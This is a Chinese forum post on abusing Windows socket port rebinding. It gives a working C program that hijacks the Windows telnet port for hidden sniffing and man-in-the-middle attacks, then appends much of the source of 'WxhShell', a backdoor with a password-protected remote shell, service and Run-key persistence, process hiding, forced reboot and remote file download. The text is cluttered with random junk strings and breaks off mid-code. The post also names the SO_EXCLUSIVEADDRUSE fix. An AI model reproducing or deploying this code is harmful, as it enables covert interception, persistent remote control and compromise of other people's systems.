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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HU+H0S~g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wSyu^KDz  
>qvD3 9w  
  saddr.sin_family = AF_INET; jeFl+K'1  
W1`ZS*12D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BvR3Oi@Wc  
~2}ICU5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qWRMwvN{  
FOG+[v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L [M8[~Hy  
L5uI31  
  这意味着什么?意味着可以进行如下的攻击: x2wWp-Z  
'|?r&-5 h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =xet+;~ji  
Zs|sPatV<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,VsCRp  
13kb~'+&r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z))[Lg  
XJ?z{gXJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +`3ZH9  
'="){  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @}!$NI8  
w>Sz^_ h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +rP<m  
:8wF0n-'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !`=?<Fl  
<ijmkNVS  
  #include Z[bC@y[Wb  
  #include }0>/G?2Yp  
  #include N|vJrye  
  #include    X}Z%@tL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .Q)"F /  
  int main() oA@^N4PD  
  { mXaUWgO  
  WORD wVersionRequested; -- FtFo  
  DWORD ret; qW>J-,61/  
  WSADATA wsaData; #[yl;1)  
  BOOL val; &>fd:16  
  SOCKADDR_IN saddr; E_rC"_Zte  
  SOCKADDR_IN scaddr; C8q-gP[  
  int err; :+!b8[?Z  
  SOCKET s; 6D(m8  
  SOCKET sc; ,sl.:C4  
  int caddsize; 6 74X)hB  
  HANDLE mt; CnYX\^Ow  
  DWORD tid;   rWqA)j*!  
  wVersionRequested = MAKEWORD( 2, 2 ); m/nn}+*C  
  err = WSAStartup( wVersionRequested, &wsaData ); Wh_c<E}&  
  if ( err != 0 ) { CI'5JOqP  
  printf("error!WSAStartup failed!\n");  E/;YhFb[  
  return -1; ^ s4|  
  } >C3 9`1  
  saddr.sin_family = AF_INET; 59 Y=VS  
   ;gV8f{X{Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9E?>B3t^  
L1i> %5:g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )D*xOajo+l  
  saddr.sin_port = htons(23); &W!@3O{~.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a<.@+sj{  
  { iNSJOS  
  printf("error!socket failed!\n"); .r'.5RI A  
  return -1; \0*LfVr;P  
  } rRel\8  
  val = TRUE; V= PoQ9d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^]gl#&"D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @CDRbXoFk  
  { #JucOWxjY  
  printf("error!setsockopt failed!\n"); '~J6 mojE  
  return -1; gHshG;z*  
  } {Aw3Itef  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %b6wo?%*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \_bX2Lg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Njjeg9f  
6si-IJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |-D.  
  { 2fB@zF  
  ret=GetLastError(); S5TT  
  printf("error!bind failed!\n"); LL+rd xJO^  
  return -1; /]&1XT?  
  } ')cu/  
  listen(s,2); Yl])Q|2I  
  while(1)  t m?  
  { iX p8u**  
  caddsize = sizeof(scaddr); ]S ,GHPEN  
  //接受连接请求 `^vD4qD|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :Ej)A fS  
  if(sc!=INVALID_SOCKET) EMbsKG  
  { 1| DI'e[X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c3dZ1v  
  if(mt==NULL) q%Pnx_RB  
  { m(Ynl=c  
  printf("Thread Creat Failed!\n"); [4yQ-L)]e  
  break; 0=&]!WRT  
  } l/LUwDI{  
  } H#E0S>Jw|  
  CloseHandle(mt); n0q(EQy1U  
  }  P_g  
  closesocket(s); -bF+uCfba  
  WSACleanup(); * =l9gv&  
  return 0; + aF jtb  
  }   pp jrm  
  DWORD WINAPI ClientThread(LPVOID lpParam) nv]64mL3  
  { [bXZPIz;j  
  SOCKET ss = (SOCKET)lpParam; >2/zL.O  
  SOCKET sc; Fu$sfq  
  unsigned char buf[4096]; 'P#I<?vB  
  SOCKADDR_IN saddr; 9nE%r\H  
  long num; 5hMiCod  
  DWORD val; Q23y.^W%c  
  DWORD ret; .O^|MhBJu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0 CS_-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HZ3<}`P_W  
  saddr.sin_family = AF_INET; i1C'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <0m;|Ai'W  
  saddr.sin_port = htons(23); R?Qou!*]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J:a^''  
  { ZlzFmNe60  
  printf("error!socket failed!\n"); d mO|PswW  
  return -1; v5o%y:~  
  } {Xj%JE[V  
  val = 100; O{V"'o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qDW/8b\^  
  { G'Y|MCKz>  
  ret = GetLastError(); we9AB_y  
  return -1; JiR|+6"7  
  } 79DC]48M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rIb{=';  
  { :.,I4>b2  
  ret = GetLastError(); '4rgIs3=x"  
  return -1; +#no$m.bH  
  } 5`Bb0=j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;D:v@I$I  
  { nj  
  printf("error!socket connect failed!\n"); "oQ@.]-#  
  closesocket(sc); ZSNg^)cN  
  closesocket(ss); Z"jo xZ  
  return -1; |Th{*IJ <,  
  } gnGw7V  
  while(1) ~08v]j q  
  { `*a,8M%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i]v!o$7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J98K:SAR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?0x;L/d])  
  num = recv(ss,buf,4096,0); OZ6%AUot  
  if(num>0) 92i# It}-/  
  send(sc,buf,num,0); ~ocr^V{"<~  
  else if(num==0) 'zaB5d~l  
  break; ;b^@o,=  
  num = recv(sc,buf,4096,0); e_I 8Jj4  
  if(num>0) ]rS+v^@QH  
  send(ss,buf,num,0); C1J'. !  
  else if(num==0) sAb|]Q((  
  break; H;6V  
  } o>YR Kb  
  closesocket(ss); sXWMXQ3  
  closesocket(sc); qA30G~S  
  return 0 ; 5eYCnc9  
  } 1^COR+>L  
?=l(29tH  
dj=n1f+;[  
========================================================== B06/mKZ7  
y}VKFRky  
下边附上一个代码,,WXhSHELL iq#Z\Y(  
e/6oC~#]  
========================================================== 3-05y!vbcE  
f}apn=  
#include "stdafx.h" h4/rw fp^  
1gC=xMAT  
#include <stdio.h> b+3pu\w `  
#include <string.h> ~VOmMw4HV  
#include <windows.h> G4i&:0  
#include <winsock2.h> 4{Iz\:G:{/  
#include <winsvc.h> . XmD[=  
#include <urlmon.h> :X^B1z3X4  
Buo1o&&  
#pragma comment (lib, "Ws2_32.lib") L4!$bB~L-  
#pragma comment (lib, "urlmon.lib") _heQ|'(  
Wq4?`{  
#define MAX_USER   100 // 最大客户端连接数 nT>?}/S  
#define BUF_SOCK   200 // sock buffer Oj:`r*z43  
#define KEY_BUFF   255 // 输入 buffer Lv_>cFJ}[  
k`-L5#`  
#define REBOOT     0   // 重启 y& )z\8  
#define SHUTDOWN   1   // 关机 >g?,BK@  
Q_dFZ  
#define DEF_PORT   5000 // 监听端口 P|\,kw>l  
mUjA9[@   
#define REG_LEN     16   // 注册表键长度  oDC3AK&  
#define SVC_LEN     80   // NT服务名长度 <AVpFy  
W`Soa&9  
// 从dll定义API ZA!vxQ?P,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $j:0*Z=>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JwO+Dd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U+K_eEI0_I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * .e^s3q$  
dG| iA]  
// wxhshell配置信息 aU3&=aN+  
struct WSCFG { M1^pW 63  
  int ws_port;         // 监听端口 olqHa5qn  
  char ws_passstr[REG_LEN]; // 口令 (HTVSC%=  
  int ws_autoins;       // 安装标记, 1=yes 0=no c[5>kQ-nq  
  char ws_regname[REG_LEN]; // 注册表键名 0<Y)yNsV  
  char ws_svcname[REG_LEN]; // 服务名 +,smjg:O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' o 5,P/6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /ZczfM\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *"#>Ov>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GB -=DC6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lY~xoHT;[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I=1tf;Bsi  
AOTI&v  
}; O:#to  
m,pDjf  
// default Wxhshell configuration $oNkE  
struct WSCFG wscfg={DEF_PORT, h\1_$ac  
    "xuhuanlingzhe", dLAElTg  
    1, x*YJ :t  
    "Wxhshell", ;{>z\6N  
    "Wxhshell", gAE}3//  
            "WxhShell Service", P"- ,^?6  
    "Wrsky Windows CmdShell Service", X \h]N  
    "Please Input Your Password: ", p5*i d5  
  1, 39OZZaWL  
  "http://www.wrsky.com/wxhshell.exe", Bp}<H<@  
  "Wxhshell.exe" "8-]6p3u  
    }; a9"Gg}h\  
]Z~H9!%t  
// 消息定义模块 Y A;S'dxY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;a68>5Lm*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4Q$\hO3b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F Hv|6zUX  
char *msg_ws_ext="\n\rExit."; k\EMO\je  
char *msg_ws_end="\n\rQuit."; ?J>^X-z  
char *msg_ws_boot="\n\rReboot..."; 5!?><{k=%  
char *msg_ws_poff="\n\rShutdown..."; ?-(E$ll  
char *msg_ws_down="\n\rSave to "; T-27E$0  
}g3)z%Xe'[  
char *msg_ws_err="\n\rErr!"; {&/q\UQ  
char *msg_ws_ok="\n\rOK!"; 4b4nFRnH  
a/?gp>M9  
char ExeFile[MAX_PATH]; <uA|nYpp  
int nUser = 0;  iKDGYM  
HANDLE handles[MAX_USER]; Q i?   
int OsIsNt; 7Npz {C{I  
iJq}tIk#2'  
SERVICE_STATUS       serviceStatus; #fa~^]EM]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vHao y  
50CU|  
// 函数声明 Chjth"  
int Install(void); ;X\!*Loe  
int Uninstall(void); 9m<>G3Jr  
int DownloadFile(char *sURL, SOCKET wsh); )2\6 Fy0S  
int Boot(int flag); N 4Dyec\  
void HideProc(void); *iYs,4  
int GetOsVer(void); &359tG0@P  
int Wxhshell(SOCKET wsl); B=9|g1e  
void TalkWithClient(void *cs); h8nJ$jg  
int CmdShell(SOCKET sock); ?+51 B-  
int StartFromService(void); YncY_Hu  
int StartWxhshell(LPSTR lpCmdLine); bj7v<G|Y  
L8!xn&uyP=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xGz$M@f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R,tR{| 8  
wWwY .}j  
// 数据结构和表定义 3C.bzw^  
SERVICE_TABLE_ENTRY DispatchTable[] = P_w+p"@m  
{ w2Pkw'a{  
{wscfg.ws_svcname, NTServiceMain}, K^9!Qp  
{NULL, NULL} Vk[m$  
}; :U?Kwv8s  
Q~uj:A]n<  
// 自我安装 G:f]z;Xdp  
int Install(void) H]YPMG<  
{ ]{dg"J  
  char svExeFile[MAX_PATH]; KO:o GUR  
  HKEY key; h4ZrD:D0\  
  strcpy(svExeFile,ExeFile); BjJ+~R  
m\j'7mZ1  
// 如果是win9x系统,修改注册表设为自启动 6N6d[t"  
if(!OsIsNt) { t + Fm?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (0^u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :)bm+xWFF  
  RegCloseKey(key); is`le}$^y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5y@JMQSO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =eYrz@,  
  RegCloseKey(key); aA=qel  
  return 0; "]`!#5j^WP  
    } ?/NxZ\  
  } '%kk&&3'  
} RBiDU}j  
else { GtbI w  
s&z+j%;+o  
// 如果是NT以上系统,安装为系统服务 A"p7N?|%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s4t>/.;x  
if (schSCManager!=0) KUZ'$oKg  
{ "5]GEzM3O  
  SC_HANDLE schService = CreateService ><5tnBP|+L  
  ( WM:we*k8h  
  schSCManager, r=<,`_@Y  
  wscfg.ws_svcname, 7+=fD|Cl  
  wscfg.ws_svcdisp, ]0g<][m  
  SERVICE_ALL_ACCESS, lY0^Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &R>x;&Gj  
  SERVICE_AUTO_START, b=.Ikt+y  
  SERVICE_ERROR_NORMAL, HBeOK  
  svExeFile, f0}+8JW5h  
  NULL, zR">'bM:  
  NULL, d+Pfi)+(I  
  NULL, BY6QJkI9x  
  NULL, aw {?UvL&  
  NULL ]uj6-0q){W  
  ); <Sb W QbN  
  if (schService!=0) $D\SueZ  
  { G5?Dt-;I  
  CloseServiceHandle(schService); V#=o<  
  CloseServiceHandle(schSCManager); ma vc$!y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Rp2  
  strcat(svExeFile,wscfg.ws_svcname); u:NSPAD)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UVA|(:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x-mRPH  
  RegCloseKey(key); u-yQP@^H  
  return 0; #8QQZdC8`  
    } #GY;.,  
  } -# |J  
  CloseServiceHandle(schSCManager); _6(QbY'JV`  
} v|"Nx42  
} rx CSs  
) j_g*<  
return 1; NAlYfbp  
} +t})tDPXw  
?,O{,2}  
// 自我卸载 D*I%=);B_  
int Uninstall(void) 6m|j " m  
{ la[xbv   
  HKEY key; [0w @0?[  
0sLR5A  
if(!OsIsNt) { c4k3|=f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sTU`@}}  
  RegDeleteValue(key,wscfg.ws_regname);  =6Ihk  
  RegCloseKey(key); b7p&EK"Hm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t[Xx LG*  
  RegDeleteValue(key,wscfg.ws_regname); ]]J2#mN:n  
  RegCloseKey(key); ehPrxIyC  
  return 0; eI/9uR%  
  } JF IUD{>fp  
} Yc BY[i0  
} F$N"&<[c  
else { Wf +j/RxTi  
bO^#RVH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]4ya$%A  
if (schSCManager!=0) .'saUcVg:  
{ pZ}4'GnZI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RU|{'zC\v  
  if (schService!=0) i"p)%q~ z  
  { HY4X;^hF  
  if(DeleteService(schService)!=0) { ML^c-xY(  
  CloseServiceHandle(schService); T XWi5f[  
  CloseServiceHandle(schSCManager); 6Xu8~%i  
  return 0; uhz:G~x!  
  } b)tvXiO1>  
  CloseServiceHandle(schService); 3i/$YX5@  
  } <b~KR8  
  CloseServiceHandle(schSCManager); %qfql  
} mx y>  
} zB kS1qMn  
mp:%k\cF|  
return 1; 7y1J69IK  
} mzLDZ# =b  
I9-vV>:z  
// 从指定url下载文件 Y9F!HM-`  
int DownloadFile(char *sURL, SOCKET wsh) KWq7M8mq  
{ n [H3b}  
  HRESULT hr; hiZE8?0+~N  
char seps[]= "/"; eQbDs_  
char *token; q90eB6G0g  
char *file; Mhc!v, D$  
char myURL[MAX_PATH]; ~pWbD~aeg  
char myFILE[MAX_PATH]; QqA~y$'ut  
T0J"Wr>WY  
strcpy(myURL,sURL); M.iR5Uh  
  token=strtok(myURL,seps); {f3&s4xj=  
  while(token!=NULL) dlsVE~_G  
  { Hr |De8#f  
    file=token; k>I[U}h  
  token=strtok(NULL,seps); 9=p^E#d  
  } })rJU/  
i/N4uq}'A<  
GetCurrentDirectory(MAX_PATH,myFILE); [4KW64%l  
strcat(myFILE, "\\"); 0wU8PZ Nj  
strcat(myFILE, file); tt2`N3Eu\  
  send(wsh,myFILE,strlen(myFILE),0); { K'QE0'x  
send(wsh,"...",3,0); xL,Lb}){%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^R',P(@oL  
  if(hr==S_OK) -]\cUQ0  
return 0; (\}>+qS[  
else ^|M\vO  
return 1; .>NhC"  
Yj99[ c#]  
} z;yb;),  
!r]elX  
// 系统电源模块 }>Gnp c  
int Boot(int flag) P~$FgAV  
{ :oh(M|;/2  
  HANDLE hToken; u4*7 n-(  
  TOKEN_PRIVILEGES tkp; l3dGe'  
bU9B2'%E  
  if(OsIsNt) { ;gfY_MXnF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JDrh-6Zgj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RLBjl%Q>  
    tkp.PrivilegeCount = 1; PYX]ld.E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m22M[L(q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 28J ; 9  
if(flag==REBOOT) { 4)./d2/E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x;ym_UZ6e  
  return 0; \' (_r  
} {Bk9]:'$5  
else { H-$)@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y1z<{'2x  
  return 0; T|dQY~n~  
} ICwhqH&  
  } 1sKKmtgH  
  else { b<o Uy  
if(flag==REBOOT) { ,&[2z!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d:jD  
  return 0;  yG -1g0  
} eq +t%  
else { 1~/?W^ir  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {a -bew  
  return 0; lIPy)25~  
} Sp8Xka~5*#  
} d1$3~Xl]  
fZ!fwg$  
return 1; VU6nu4   
} ^c",!Lp}{  
A??(}F L  
// win9x进程隐藏模块 [!9 dA.tF  
void HideProc(void) +NL^/y<;  
{ {Wp+Y9c[  
8Yfg@"Tn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E=!=4"rZF  
  if ( hKernel != NULL ) [C 1o9c!  
  { ^M36=~j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0ant0<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fr/3Qp@S  
    FreeLibrary(hKernel); ? ->:,I=<~  
  } dm;H0v+Y'  
J!r,ktO^U?  
return; (`h$+p^-y  
} *{/ ww9fT  
v_-S#(  
// 获取操作系统版本 wBlfQ w-N  
int GetOsVer(void) {*WJ"9ujp]  
{ \z>Re$:  
  OSVERSIONINFO winfo; q0|u vt"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GCSR)i|  
  GetVersionEx(&winfo); LDDeZY"xd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )wkh  
  return 1; X :2%U  
  else "[(&$ I  
  return 0; py#`  
} nd)Z0%xo  
P&PPX#%  
// 客户端句柄模块 {;.q?mj  
int Wxhshell(SOCKET wsl) ).aQ}G wx^  
{ $50rj  
  SOCKET wsh; Uawf,57v<  
  struct sockaddr_in client; 3k)W0]:|<  
  DWORD myID; zO#{qF+~;  
v^;-w~?3  
  while(nUser<MAX_USER) a#H2H`%  
{ -"J6 |Y#8  
  int nSize=sizeof(client); x:'M\c7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E({+2}=1  
  if(wsh==INVALID_SOCKET) return 1; u 6&<Bv  
r(sQI# P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "-aak )7w  
if(handles[nUser]==0) JNhHQvi\  
  closesocket(wsh); HU[a b  
else \~V Z Y  
  nUser++; ]L0GIVIE  
  } -dX{ R_*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |Z%I3-z_DS  
3#fu; ??1.  
  return 0; 7P3PQ%:  
} b=:$~N@Y  
(!F Uu  
// 关闭 socket f tBbO8e  
void CloseIt(SOCKET wsh) |$[WnYP  
{ TBq;#+1W  
closesocket(wsh); |n9~2R   
nUser--; I5RV:e5b  
ExitThread(0); 9o-fI@9  
} ogN/zIU+VA  
:00 #l]g0q  
// 客户端请求句柄 JTT"t@__  
void TalkWithClient(void *cs) C;m7 ~R  
{ mKWfRx*UdG  
!3~VoNh,  
  SOCKET wsh=(SOCKET)cs; bu`8QQ"C  
  char pwd[SVC_LEN]; D&1*,`  
  char cmd[KEY_BUFF]; *"rgK|CM$  
char chr[1]; OkSJob  
int i,j; Z2z"K<Z W  
7%rSo^t,L  
  while (nUser < MAX_USER) { /Mq]WXq[V  
D>& ;K{!  
if(wscfg.ws_passstr) { Vp3 9`m-W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eF8!}|*N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )9_jr(s  
  //ZeroMemory(pwd,KEY_BUFF); &cj/8A5-  
      i=0; %9.] bd|%F  
  while(i<SVC_LEN) { KX*Hev'K  
$`q8-+{  
  // 设置超时 \Y'#}J"dh  
  fd_set FdRead; e|wH5(V  
  struct timeval TimeOut; 1_JxDT,=>  
  FD_ZERO(&FdRead); nnBgTtsC]  
  FD_SET(wsh,&FdRead); V\axOz!  
  TimeOut.tv_sec=8; .E !p  
  TimeOut.tv_usec=0; }5n((7@X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M1._{Jw5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rCcNu  
Qxds]5WB/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )tQG5.to  
  pwd=chr[0]; `Pj7O/!)#!  
  if(chr[0]==0xd || chr[0]==0xa) { b XcDsP$.  
  pwd=0; bS 'a)  
  break; D;bQ"P-m47  
  } jRz2l`~7#  
  i++; c"ukV_6~J  
    } p'afCX@J  
jF}zv  
  // 如果是非法用户,关闭 socket LS:3Dtq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t3 AZS0  
} bH7[6#y$  
33d86H% ;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mT57NP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6T6 S9A*nT  
hjiU{@q  
while(1) { oOk.Fq  
B`Q.<Lqu  
  ZeroMemory(cmd,KEY_BUFF); '8~cf  
o l 67x  
      // 自动支持客户端 telnet标准   1jZ:@M :  
  j=0; < 4DWH  
  while(j<KEY_BUFF) { rl)(4ad=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w>I>9O}(`  
  cmd[j]=chr[0]; 7^k`:Z  
  if(chr[0]==0xa || chr[0]==0xd) { +Ux)m4}j  
  cmd[j]=0; NLDmZra  
  break; =J.)xDx*  
  } oRM EC7!A0  
  j++; qB3{65  
    } fFXG;Q8&  
=YX/]g|9K  
  // 下载文件 ]ABpOrg  
  if(strstr(cmd,"http://")) { ]Jj\**  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'e-Nt&;  
  if(DownloadFile(cmd,wsh)) mwFI89J'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ogv86d  
  else <[xxCW(2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ssW+'GD  
  } .<v0y"amJ  
  else { ^DHFP-G?e  
L>{E8qv>w  
    switch(cmd[0]) { lj.z>  
  BQf}S +  
  // 帮助 87EI<\mP  
  case '?': { );$Uf!v4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '{kNXCnZ  
    break; ]+[ NX)=  
  } P ]2M  
  // 安装 1?HUXN#,  
  case 'i': { eif<aG5  
    if(Install()) } oJ+2OepN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wP1dPl_j:0  
    else zdn e2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MxxYMR  
    break; r&"}zyL  
    } .hgc1  
  // 卸载 v%> ?~`Y  
  case 'r': { ?[Q;275  
    if(Uninstall()) Z~g~,q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =HP_IG_  
    else BZ1@?3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r6]r+!63"  
    break; 3a#637%  
    } %Zx/XMs}e  
  // 显示 wxhshell 所在路径 IDzP<u8v  
  case 'p': { aEX;yy*  
    char svExeFile[MAX_PATH]; 1o o'\  
    strcpy(svExeFile,"\n\r"); 3P/T`)V  
      strcat(svExeFile,ExeFile); {Cs~5jYz  
        send(wsh,svExeFile,strlen(svExeFile),0); 8x'rNb  
    break; df#DKV:  
    } pw:<a2.  
  // 重启  yyk[oH-Q  
  case 'b': { (|ga#%iI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t=S94 ^g  
    if(Boot(REBOOT)) <PW*vo9v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | x{:GWq  
    else { ? $pGG  
    closesocket(wsh); %xLziF  
    ExitThread(0); +d\"n  
    } 1SkGG0 W  
    break; jD_(im5  
    } KK]AX;  
  // 关机 7* ^\mycv  
  case 'd': { sx8mba(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fJOU1%  
